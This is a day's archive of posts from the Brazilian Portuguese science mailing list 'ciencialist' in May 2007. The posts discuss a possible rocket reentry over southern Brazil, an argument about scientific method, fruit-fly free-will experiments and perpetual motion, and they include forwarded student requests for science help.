TO: <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, <noosfera_II@yahoogrupos.com.br>, GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <consciencia_sustentavel@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, "Cidadania Alerta" <cidadanialerta@terra.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <pedraderoseta@yahoogrupos.com.br>
DATE: 17/05/2007 10:48

"La vida no es demasiado corta como para no poner en práctica las reglas de la cortesía."
Ralph Waldo Emerson





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Takata na rede... Será?
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: "CienciaList" <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 11:38

Quem cala, consente!
É ele mesmo pessoal!

Sardeiro


----- Original Message -----
From: Eduardo Sardeiro
To: CienciaList
Sent: Wednesday, May 16, 2007 10:55 AM
Subject: [ciencialist] Takata na rede... Será?


Takata,

Este na foto do link abaixo é vc?

http://galileu.globo.com/edic/116/imagens/rep_tendencias_f.jpg

Abrs

Sardeiro

[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Mais outra reentrada, agora no sul?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/05/2007 12:00

Atualização: Nicholas Johnson, NASA, informa que a única reentrada no
dia 15 foi de fato do foguete Soyuz-U, mas horas depois e bem distante
da América do Sul. O evento sobre o Rio Grande do Sul deve assim ter
envolvido um bólido de origem natural, confirmando a explicação do
astrônomo Luis Augusto Leitão da Silva.

Mori
http://www.ceticismoaberto.com/


SUBJECT: Re: [ciencialist] Re: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 12:46

Olá Homero,

O Ferrari é realmente um caso sério e prima por não conhecer o conceito de linguagem científica. Aliás, não sei que linguagem ele conhece! Nem mesmo o mínimo de matemática ele entende!
Quando ele irá entender que mesmo com pouquíssima matemática pode-se ir muito além do que se conseguiria sem nenhuma. A matemática é a linguagem natural da física. Qualquer pessoa que deseje conhecer física com alguma profundidade, não poderá ignorar a matemática.

A razão é tão simples quanto fascinante: os fenômenos da Natureza obedecem a equações matemáticas! Um buraco negro é uma solução de um conjunto de equações matemáticas; um eco de spins também, ondas eletromagnéticas idem. Podemos lançar satélites, extrair energia dos núcleos dos átomos, conhecer a idade do Universo, observar as imagens de um cérebro humano em funcionamento, ou ainda sonhar com computadores quânticos e computadores biológicos, graças à compreensão matemática que temos dos fenômenos naturais.

O século XX foi o século da física. Avanços espetaculares na compreensão dos fenômenos naturais (se é que podemos realmente afirmar que "compreendemos" o que significa o tempo dilatar ou uma função de onda colapsar!) desaguaram em tecnologias nunca antes sonhadas, e em discussões filosóficas tão infindáveis quanto interessantes. Nosso conhecimento sobre a Natureza avança vertiginosamente, e é impossível dizer como ele, e a tecnologia que dele decorre, vão estar ao final do século XXI!

A maioria dos nossos jovens Ferraris da vida só conhece Einstein pela explorada fotografia da careta, e o associam à fórmula E = mc². É preciso separar os resultados das suas deduções.
Deduzir a expressão matemática E = mc² como conseqüência lógica de alguns postulados simples, é consideravelmente técnico para um estudante-ferrariano em fase inicial. Mas isso não quer dizer que ele não possa compreender o que esta fórmula significa, e quais são as suas implicações! Isso é anterior à imaturidade!
O mesmo se pode dizer sobre a mecânica quântica, sobre a física nuclear, sobre o magnetismo, sobre a supercondutividade, etc.
Obviamente não é preciso que um estudante de medicina seja Ph.D. em física para ir além dos botões dos equipamentos, e entender um pouco dos princípios da ressonância magnética nuclear, fenômeno físico que o auxiliará com os seus pacientes!

Quando o listeiro Ferrari perceberá isso? Que diabos de livros ele leu para vomitar tanta insanidade científica? Que tipo de 'pensamento' deve rolar por dentro da cachola dele quando diz:
"--- Isto mesmo, Ricardo! É óbvio, não é? Como digo no
artigo "o que é fazer ciencia". O primeiro passo para
se "fazer ciencia" é ver o óbvio, ver o fato, ver o
sempre. Sem isto não tem como o cientista começar a
"fazer ciencia". Sobre o que ele irá postular? Sobre
nada? Fazer ciencia começa pelo "é claro", pelo "nada
de novo". Não é possivel fazer ciencia sem o mesmo,
sem o monotono. O que o cientista descobre na
observação é o monotono. Pense na gravitação, nas
maças caindo, o que tem de mais monotodo do que
observar a queda das coisas. E sempre a mesma queda.
Sempre a mesma monotonia. E no entanto, é da
observação deta monotonia que se começa a fazer
ciencia e deduzir a gravitação. Sem a monotonia da
queda que gravitação poderia ser deduzida? Nenhuma.
fazer ciencia é estudar a repetição. A monotonia."

Será realmente isso o que ele pensa sobre 'fazer ciência'? O que há de 'monótono' no ciclotron para que Lawrence tivesse ficado 'raciocinando' duramente para conseguir um pulo de 20 MeV para 700 BeV? Será que ele pensa que foi a 'monotonia' da queda da maça que fez Newton desenvolver o cálculo diferencial? Será que ele pensa que todos os estudos da física partem de observações 'monótonas' da Natureza? Será que ele sabe que 'laser' não pertence à Natureza? Que é algo estritamente anti-natural?
Como pode alguém dizer que a física desmorona integralmente enquanto os físicos NÃO ENTENDEREM QUE "metodo cientifico" é fruto do raciocinio. Nem se faz ciencia ignorando como o raciocinio cria o conhecimento."?
Isso não é uma pré-imaturidade? Se não for, o que é? Ferrari é recuperável????????? Como Educador, isso me preocupa.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "oraculo333" <oraculo@atibaia.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 16 de maio de 2007 20:58
Assunto: [ciencialist] Re: ABC da CIENCIA


Olá Ferrari

Bem, já que está todo mundo tentando explicar para você onde errou e
quais seus enganos, acho que não tenho escolha se não tentar também..:-)

Ferrari: "--- Nem se faz ciencia ignorando que o "metodo
> cientifico" é fruto do raciocinio. Nem se faz ciencia
> ignorando como o raciocinio cria o conhecimento.
>
> --- Existe abc mas básico do que este? "

Você não entende o que o termo raciocínio significa, justamente por
apresentar o que o Leo chamou de "terminologia relaxada" e "raciocínio
malconexo". O que está fazendo talvez possa ser chamado de poesia ou
literatura, mas não é ciência.

Se Tolkien afirmasse em seus livros que "na Terra Média a pensamento é
o pulso da matéria", tudo bem, podemos aceitar essa alegação, o que
quer que signifique, porque é literatura, e ele tem "liberdade
poética" para agir dessa forma, sem precisar demonstrar evidências disso.

E podemos considerar que na Terra Média é assim que é e pronto.

Mas, ao alegar que neste mundo, nesta realidade física, "pensamento é
pulso", tem de mostrar evidências disso, evidências materiais,
previsões confirmáveis, argumentos, desdobramentos, adequação a outros
conhecimentos e teorias, etc.

E não basta para isso o jogo de palavras sem pé nem cabeça, ou a
distorção de termos, como em seus discursos pós-modernistas, que só
você pensa que significam algo.

O "poder da física" se mostra evidente em suas previsões e em tudo que
vê a sua volta. Para "desmontar" esse poder não basta a palavra do
Ferrari de que é assim.

Demonstre, por exemplo, que pode usar suas alegações para construir
uma bomba atômica SEM usar a física que despreza, ou o método
científico (que não compreende). Pode fazer isso, Ferrari?

Sim, o método científico é fruto da mente humana, e do raciocínio
humano. A Terra Média, os elfos, os anjos, etc, também. Mas o método é
eficaz em produzir explicações para este universo físico, explicações
confirmáveis, e a Terra Média é uma história apenas.

Quer substitui-lo? Quer "abrir a mente dos pobres cientistas"? Fique à
vontade, basta apresentar outra ferramenta que seja eficaz pelo menos
no mesmo nível que este método. Ou pare de chatear as pessoas com
bobagens e jogos de palavras.

Ferrari: "A fisica é fruto do raciocinio dualista (cheio
e vazio). Até quando vai insistir em negar este fato?"

Bullshit. Desculpe, mas é o que define essa alegação. Não há nenhum
"fato" em sua frase, mas uma alegação sem nenhuma base ou sentido. A
física, o conhecimento que chamamos de física, é um conjunto de
teorias e explicações que podem ser confirmadas pela experimentação e
por quem assim desejar. Não tem NADA a ver com "raciocínios
dualistas", desejos pessoais, religiões (o que inclui a sua, pessoal e
tão sem pé nem cabeça quanto qualquer outra), etc.

Apresente um estudo ou experimento que prove o que alega, Ferrari, não
um amontoado de frases desconexas, mas uma forma de provar que tem
razão em sua alegação.

Na verdade, como não tem nenhuma base para afirmar o que afirma, e
como não se trata de nada que possa ser demonstrado (como toda
crença), podemos passar a eternidade a escrever mensagens do tipo "é
sim, não é não, é sim, não é não", "ad infinitum".

Ou, para exemplificar:

Ferrari: "É inegavel."

Homero (ou qualquer outro co-listeiro): "Eu nego."

[ ... ]


SUBJECT: Re: [ciencialist] Re: Mais outra reentrada, agora no sul?
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 14:54

> O evento sobre o Rio Grande do Sul deve assim ter
> envolvido um bólido de origem natural, confirmando a explicação do
> astrônomo Luis Augusto Leitão da Silva.

Meu professor de Física Calor na Unisinos. :-)

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: Mais outra reentrada, agora no sul?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/05/2007 15:27

*Atualiza��o*: William Ailor, diretor do Center for Orbital and Reentry
Debris Studies <http://www.aero.org/capabilities/cords/index.html>, d� novas
informa��es que � surpresa � confirmam que o b�lido deve ter sido mesmo a
reentrada do lan�ador Soyuz-U, em 15 de maio �s 1:33 hor�rio de Bras�lia,
04:33 UTC.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 16:56

Olá, Takata e Manuel.

> > Bom, imagino que as redes neuronais de cada mosca eram
diferentes,
> > mesmo que ligeiramente.

> No caso é q a *mesma* mosca produziu respostas ligeiramente
diferentes
> para uma situação idêntica.

Mas como eu observei, a situação não era idêntica, pois na segunda
vez a mosca já havia passado pela experiência de ficar grudada sem
conseguir levantar vôo, situação que não ocorria no primeiro
experimento. O argumento seria válido se a mosca não apresentasse
nenhum tipo de aprendizado. Se o experimento não deixasse nenhum tipo
de marca, memória, em sua rede neuronal. Temos também que saber como
foi essa repetição do experimento com a mesma mosca. Eles chegaram a
removê-la da câmara e depois a recolocaram? Se eles fizeram isso eles
certamente não fizeram de maneira idêntica, nem a cola se grudou da
mesma forma nas patas da mosca.

Pode ser também, como sugeriu o Manuel, que os processos
computacionais que levam a mosca a agir sofram interferências
quânticas aleatórias, alterando a resposta final.

Saudações.
João de Carvalho




SUBJECT: Re: [ciencialist] Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 17:07

>
>Mas como eu observei, a situação não era idêntica, pois na segunda
>vez a mosca já havia passado pela experiência de ficar grudada sem
>conseguir levantar vôo, situação que não ocorria no primeiro
>experimento. O argumento seria válido se a mosca não apresentasse
>nenhum tipo de aprendizado. Se o experimento não deixasse nenhum tipo
>de marca, memória, em sua rede neuronal. Temos também que saber como
>foi essa repetição do experimento com a mesma mosca. Eles chegaram a
>removê-la da câmara e depois a recolocaram? Se eles fizeram isso eles
>certamente não fizeram de maneira idêntica, nem a cola se grudou da
>mesma forma nas patas da mosca.

Creio que seja impossível repetir a experiência de modo idêntico. Além "n"
variáveis do ambiente (mesmo que "controlado", com uma redução de variáveis,
estas mudam, como o ar, ondas eletromagnéticas, etc..), só o fato de repetir
a experimento com a mesma mosca, esta já teria a experiência do experimento
anterior.

[]´,s
Jeff.



SUBJECT: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 17:22

Olá pessoal

Jeff: "Creio que seja impossível repetir a experiência de modo idêntico. Além "n"
variáveis do ambiente (mesmo que "controlado", com uma redução de variáveis,
estas mudam, como o ar, ondas eletromagnéticas, etc..), só o fato de repetir
a experimento com a mesma mosca, esta já teria a experiência do experimento
anterior."

Penso que, no resumo feito acima pelo Jeff das mensagens sobre o assunto, essa "experiência do experimento" seria parte importante da questão: se o livre arbítrio pode ser, tanto em moscas quanto em nós, simplesmente um padrão de interferências, ou se mecanismos de resposta automática podem sobrepujar ou funcionar no lugar do livre arbítrio.

Se no lugar da mosca colocassemos um robo programado, suas respostas seriam sempre as mesmas, para as mesmas ações e parametros. O fato da mosca absorver uma experiência anterior, é parte do processo do sistema de escolhas que chamamos de livre arbítrio. Ou não.

O que estudos desse tipo tentam fazer é justamente descobrir onde cada parametro atua.

Um estudo mais ou menos recente feito com seres humanos parece ter encontrado os sinais neurológicos de "levantar o braço" sendo disparados "antes" da decisão consciente de levantar o braço, o que provoca diversas perguntas interessantes. Quem decidiu levantar o braço? Nosso "self", o sub-produto de softwares cerebrais, que reconhecemos como o "EU", ou este self apenas se encarrega de "inventar" uma explicação sobre a decisão, que foi tomada por sub processos mais profundos e não conscientes?

Até onde se sabe, o sistema de memória da mosca é limitado e "aprender por experiência" é algo bem complexo, e que em geral é relacionado com animais mais complexos também, pelo menos em termos neurológicos. O que foi espantoso descobrir nesse exprimento é que mesmo a mosca parece ser mais que um sistema de "robô automático", como se pensava.

Muitos cientistas e pesquisadores de IA (Inteligencia Artificial) tem começado por baixo, tentando recriar os sistemas simples de insetos (no lugar de tentar direto "cérebros positronicos" humanos..:-), com, até agora, um bom sucesso. Pequenos "insetos-robôs" foram desenvolvidos e parecem se comportar como os insetos em que foram inspirados. Mas estes insetos-robôs sempre repetem as ações, se os estimulos se repetem, o que não parece ser o caso das moscas.

Eu achei muito interessante o estudo, e não é à toa que ele produziu muitas mensagens na lista.

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Darwin na revista Veja
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 17:36

Pessoal,

Cometi a temeridade de escrever um pequeno ensaio sobre as reações dos
criacionistas à teoria da evolução. Vejam como ficou em
http://alvaroaugusto.blogspot.com/2007/05/darwin-na-revista-veja.html

Cartas, para a redação...

[ ]s

Alvaro Augusto



SUBJECT: Fw: Moto Perpétuo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 18:20

Olívio, texto abaixo, é professor. Como posso responder questões de moto-contínuo para professor? Falo para ele estudar termodinâmica? Não é o caminho que aprecio como resposta.
Aceito sugestões.
No texto, algumas tentativas de respostas:

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Olívio Mariano Santos de Oliveira" <olivio@euclidesdacunha.com>
Para: <leobarretos@uol.com.br>
Enviada em: quarta-feira, 16 de maio de 2007 09:48
Assunto: Moto Perpétuo


Olá Professor Leo Barretos,

É muito gratificante escrever-lhe, pelo fato de nos tratarmos do mesmo tema:
o moto perpétuo.
Durante uma pesquisa escolar que fiz, utilizei-me das informações do seu
site para abrir uma discussão em sala de aula à respeito do assunto.
Resultado: muitas dúvidas persistiram, como as citadas abaixo.

1. Se alguém criar um dispositivo que funcione de fato, este seria um moto
perpétuo?

Léo: A chance desse "Se" acontecer é, dentro da Ciência vigente, nula. Todavia, "Se" acontecer, enquadrado no conceito de moto perpétuo de primeira espécie, toda a Ciência vigente cairá por terra!

2. É verdade que, caso alguém o crie, será impossibilitado de patentear?

Léo: Os escritórios de patentes dos E.U.A. e da França, com certeza, não 'patenteiam a idéia'. Todavia, se o 'inventor' levar o dispositivo, e funcionar, a patente será registrada. Isso nunca aconteceu! E, olhe, esses 'projetos' surgem diariamente!
Eu mesmo recebo pelo menos 2 por semana e, os mais "interessantes" (aqueles que dão maior dificuldade em situar a falha) eu os publico.

3. Alguém pode ganhar o Nobel de Física, caso crie esse dispositivo?

Léo: Ele ganhará todos os 'Nobel', de todas as modalidades, e todos os acumulados. Será maior que a megasena! Todavia, esse "caso" é cientificamente improvável.

São essas e muitas dúvidas que eu, juntamente com outros colegas, esperamos
que o senhor nos tire, contribuindo para o nosso conhecimento.

Abraços




--
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Version: 7.5.467 / Virus Database: 269.7.1/807 - Release Date: 16/05/2007 18:05




SUBJECT: Fw: poluiçao do ar
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 18:21

Help to Takata.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Debora Evelyn" <debybonita@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: quarta-feira, 16 de maio de 2007 16:00
Assunto: poluiçao do ar


| Olá professor,meu nome é Debora Evelyn e tenho 10 anos,tava procurando saber
| tudo sobre poluiçao do ar,entao vi seu email e resolvir falar com o senhor
| mesmo...o senhor pode me dizer alguma coisa sobre poluiçao do ar? se nao
| souber...me manda o email dizendo ok?
| Brigada!!!!!!!Tchau
|
| _________________________________________________________________
| Verificador de Segurança do Windows Live OneCare: combata já vírus e outras
| ameaças! http://onecare.live.com/site/pt-br/default.htm
|
|
|
| --
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|
|


SUBJECT: Fw: Novo comentario enviado
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 18:22

Help to químicos.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Algosobre Vestibular" <ouvidoria@algosobre.com.br>
Para: <leobarretos@uol.com.br>
Enviada em: quarta-feira, 16 de maio de 2007 13:34
Assunto: Novo comentario enviado


Titulo do conteudo:Forças de Coesão e Adesão

Titulo:...

Comentario:Ola eu preciso de algumas fotos de exemplos de adesao, moleculas polares, ligação de hidrogenio, coesao, tensao superficial, sintese por desidrataçao e quebra por hidrogenio.
Eu preciso disso para um trabalho de biologia




--
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SUBJECT: Fw: F�sica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 18:22

Outro Help ... de física para a guria.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Jéssica Grudtner
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 16 de maio de 2007 17:29
Assunto: Física


Oi, estava dando uma olhada no site "Feira de Ciencias" quando vi um artigo seus sobre Imã, eletreto.
Achei interessante, e decide buscar sua ajuda!
Eu queria muito achar algum artigo, texto, sobre a física relacionada a LUZ.
Que relação a física tem com a luz?
E também, que relação a Física tem com a vida.

Se puder me mandar algum link, ou texto, seria muuuito grata


Obrigada, Jéssica
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Ci�ncias
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 18:23

Outro Help para outra guria.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Caroline Harumi Silva Matsumura Matsumura
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 15 de maio de 2007 18:54
Assunto: Ciências


Oi,
Então professor,eu gostaria de saber alguma experiêcia que usa Ph que eu possa fazer,pois eu vi uma em seu site,mais eu acho que os meus colegas de classe também devem pesquisar na internet,aí vai ser facil meu trabalho sair igual a de algum colega..
Aí eu queria uma experiencia simples e diferente..
Será que você poderia me ajudar?


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Chegou o Windows Live Spaces:você divide seu blog, suas fotos, sua lista de música e agora encontra seus amigos! É só entrar no:


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: poluiçao do ar
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 18:32

Ela pode encontrar informações no sítio web da Cetesb.

www.cetesb.sp.gov.br/

E tb no próprio Feira de Ciências:

http://www.feiradeciencias.com.br/sala02/02_100.asp

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> -----Mensagem Original-----
> De: "Debora Evelyn" <debybonita@...>
> Enviada em: quarta-feira, 16 de maio de 2007 16:00
> Assunto: poluiçao do ar
>
> procurando saber tudo sobre poluiçao do ar,entao vi seu email e



SUBJECT: Re: Fw: Moto Perpétuo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 18:37

Se ainda assim ele quiser, estou financiando projetos de construção de
moto-perpétuo (limite atual de 2.000 reais).

Caso o projeto funcione, a pessoa precisa devolver apenas o montante
principal (pode parcelar) sem juros (apenas correção monetária).

Caso o projeto não funcione, a pessoa precisará devolver o montante
corrigido e acrescido de juros equivalente a quatro vezes o valor
médio de mercado.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Olívio, texto abaixo, é professor. Como posso responder questões de
> moto-contínuo para professor? Falo para ele estudar termodinâmica?
> Não é o caminho que aprecio como resposta.
> Aceito sugestões.
> No texto, algumas tentativas de respostas:
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: "Olívio Mariano Santos de Oliveira" <olivio@...>
> Para: <leobarretos@...>
> Enviada em: quarta-feira, 16 de maio de 2007 09:48
> Assunto: Moto Perpétuo




SUBJECT: Re: Fw: Física
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 18:38

Sala de óptica e eletromagnetismo do FdC.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Jéssica Grudtner
> Para: leobarretos@...
> Enviada em: quarta-feira, 16 de maio de 2007 17:29
> Assunto: Física
>
> Eu queria muito achar algum artigo, texto, sobre a física
> relacionada a LUZ.




SUBJECT: Re: Fw: Ciências
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 18:39

Qual ela viu? A do repolho roxo?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> -----Mensagem Original-----
> De: Caroline Harumi Silva Matsumura Matsumura
> Para: leobarretos@...
> Enviada em: terça-feira, 15 de maio de 2007 18:54
> Assunto: Ciências
>
> Então professor,eu gostaria de saber alguma experiêcia que usa Ph
> que eu possa fazer,pois eu vi uma em seu site,mais eu acho que os
> meus colegas de classe também devem pesquisar na internet,aí vai ser
> facil meu trabalho sair igual a de algum colega..
> Aí eu queria uma experiencia simples e diferente..
> Será que você poderia me ajudar?




SUBJECT: Re: [ciencialist] [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 19:06

Homero, como se define livre arbítrio na IA??Ter livre
arbitrio é sinonimo de inteligencia??

--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá pessoal
>
> Jeff: "Creio que seja impossível repetir a
> experiência de modo idêntico. Além "n"
> variáveis do ambiente (mesmo que "controlado", com
> uma redução de variáveis,
> estas mudam, como o ar, ondas eletromagnéticas,
> etc..), só o fato de repetir
> a experimento com a mesma mosca, esta já teria a
> experiência do experimento
> anterior."
>
> Penso que, no resumo feito acima pelo Jeff das
> mensagens sobre o assunto, essa "experiência do
> experimento" seria parte importante da questão: se o
> livre arbítrio pode ser, tanto em moscas quanto em
> nós, simplesmente um padrão de interferências, ou se
> mecanismos de resposta automática podem sobrepujar
> ou funcionar no lugar do livre arbítrio.
>
> Se no lugar da mosca colocassemos um robo
> programado, suas respostas seriam sempre as mesmas,
> para as mesmas ações e parametros. O fato da mosca
> absorver uma experiência anterior, é parte do
> processo do sistema de escolhas que chamamos de
> livre arbítrio. Ou não.
>
> O que estudos desse tipo tentam fazer é justamente
> descobrir onde cada parametro atua.
>
> Um estudo mais ou menos recente feito com seres
> humanos parece ter encontrado os sinais neurológicos
> de "levantar o braço" sendo disparados "antes" da
> decisão consciente de levantar o braço, o que
> provoca diversas perguntas interessantes. Quem
> decidiu levantar o braço? Nosso "self", o
> sub-produto de softwares cerebrais, que reconhecemos
> como o "EU", ou este self apenas se encarrega de
> "inventar" uma explicação sobre a decisão, que foi
> tomada por sub processos mais profundos e não
> conscientes?
>
> Até onde se sabe, o sistema de memória da mosca é
> limitado e "aprender por experiência" é algo bem
> complexo, e que em geral é relacionado com animais
> mais complexos também, pelo menos em termos
> neurológicos. O que foi espantoso descobrir nesse
> exprimento é que mesmo a mosca parece ser mais que
> um sistema de "robô automático", como se pensava.
>
> Muitos cientistas e pesquisadores de IA
> (Inteligencia Artificial) tem começado por baixo,
> tentando recriar os sistemas simples de insetos (no
> lugar de tentar direto "cérebros positronicos"
> humanos..:-), com, até agora, um bom sucesso.
> Pequenos "insetos-robôs" foram desenvolvidos e
> parecem se comportar como os insetos em que foram
> inspirados. Mas estes insetos-robôs sempre repetem
> as ações, se os estimulos se repetem, o que não
> parece ser o caso das moscas.
>
> Eu achei muito interessante o estudo, e não é à toa
> que ele produziu muitas mensagens na lista.
>
> Um abraço.
>
> Homero
>
>
> [As partes desta mensagem que não continham texto
> foram removidas]
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 19:50

>
>Se no lugar da mosca colocassemos um robo programado, suas
>respostas seriam sempre as mesmas, para as mesmas ações e parametros.
>

Mesmo um robô programado, principalmente se for muito complexo, pode ter
atitudes diferentes de acordo com ambiente. Um processador de computador,
por exemplo, pode ter o resultado de um cálculo alterado por um aumento de
temperatura. Basta que um transístor minúsculo (do tamanho de uma
mitocôndria) sofra alguma alteração momentânea por causa de alguma pequena
radiação ou um de campo magnético, por exemplo, para que o resultado final
mude completamente.

>
>Um estudo mais ou menos recente feito com seres humanos parece
>ter encontrado os sinais neurológicos de levantar o braço" sendo
>disparados "antes" da decisão consciente de levantar o braço, o que
>provoca diversas perguntas interessantes.
>

Tem uma outra experiência (parece que na Suécia) que fizeram onde mostravam
um par fotos de pessoas do sexo oposto durante poucos segundos para um grupo
de voluntários e pediam para estes escolhessem uma das fotos. Fizeram isso
umas 10 vezes para cada voluntário. No final, de sacanagem, os pesquisadores
mudaram as escolhas dos voluntários e pediram pra que cada explicasse porque
que "escolheram" aquela foto. O interessante é que, além da grande maioria
dos voluntários não perceberem a troca, ainda explicavam porque que
escolheram aquela foto! E, ainda, depois desta experiência, antes de revelar
a "sacanagem", perguntaram pra estes voluntários se eles perceberiam se
houve uma troca das fotos e a grande maioria disse que certamente iam
perceber :-)

Isso faz a gente pensar que muitas das nossas atitudes são tomadas de modo
inconsciente, por alguma razão que a gente simplesmente não sabe! Que pode
ser algo de dentro do nosso cérebro, do nosso corpo ou algum estímulo de
fora que a gente nem percebe (conscientemente).

>
>este self apenas se encarrega de "inventar" uma explicação sobre
>a decisão, que foi tomada por sub processos mais profundos
>e não conscientes?
>

Pergunta interessante. Eu acredito que sim, que pode fazer parte de um
mecanismo que gera uma ilusão de livre arbítrio.

>
>Até onde se sabe, o sistema de memória da mosca é limitado e
>"aprender por experiência" é algo bem complexo, e que em
>geral é relacionado com animais mais complexos também, pelo
>menos em termos neurológicos. O que foi espantoso descobrir
>nesse exprimento é que mesmo a mosca parece ser mais que
>um sistema de "robô automático", como se pensava.
>

Uma mosca é muito mais complexa que um computador :-) E basta ela ter 1/2
dúzia de neurônios para, depois de pouca aprendizagem, ter atitudes
imprevisíveis! Eu já trabalhei com redes neurais artificiais, onde modelamos
uma rede com cerca de 10 "neurônios". Apenas 10 "neurônios" treinados
(ensino supervisionado, através de exemplos), quando colocados pra
"trabalhar", eles continuam aprendendo (baseando-se, no início, nos valores
que lhes foram ensinados, mas agora sem supervisão) e, depois de um certo
tempo, começam a ter atitudes imprevisíveis, que você custa a entender
porque que ela fez aquilo! :-) Claro que uma rede com apenas 10 neurônios é
